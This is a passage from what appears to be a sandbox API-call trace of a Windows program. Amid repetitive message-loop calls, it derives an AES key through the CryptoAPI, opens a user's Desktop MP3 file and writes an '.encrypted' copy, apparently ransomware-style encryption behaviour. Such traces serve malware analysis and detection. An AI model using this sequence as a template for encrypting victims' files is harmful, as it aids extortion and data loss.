lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.050] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.050] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.050] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0020.051] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0020.051] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0020.051] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0020.084] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.084] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.084] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0020.084] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0020.084] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0020.084] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.085] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.085] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.085] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.085] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.085] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.085] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0020.085] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0020.085] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0020.085] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0020.085] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.086] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0020.086] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0020.086] CryptHashData (hHash=0xe8f4061c30, pbData=0xe8f418b6c0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.086] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0020.086] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0020.086] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0020.087] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0020.087] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f4061c30, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0020.096] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.096] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.096] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.096] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.096] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.096] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0020.096] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0020.096] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0020.096] CryptDestroyHash (hHash=0xe8f4061c30) returned 1 [0020.097] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.098] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\g_kf.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0020.098] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0020.098] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0020.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.098] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.099] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar")) returned 0x10 [0020.099] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\-Kar\\g_Kf.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\-kar\\g_kf.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0020.101] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.101] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.101] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.101] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.102] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0020.102] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0020.104] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x408, lpOverlapped=0x0) returned 1 [0020.104] ReadFile (in: hFile=0x188, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0020.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.106] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0020.106] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0020.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.107] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.107] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0020.107] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0020.107] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0020.107] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0020.108] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0020.108] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0020.108] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0020.108] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0020.108] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064d20, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d20*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0020.108] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0020.108] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0020.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.108] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.109] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.109] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.109] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0020.109] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0020.109] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0020.109] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 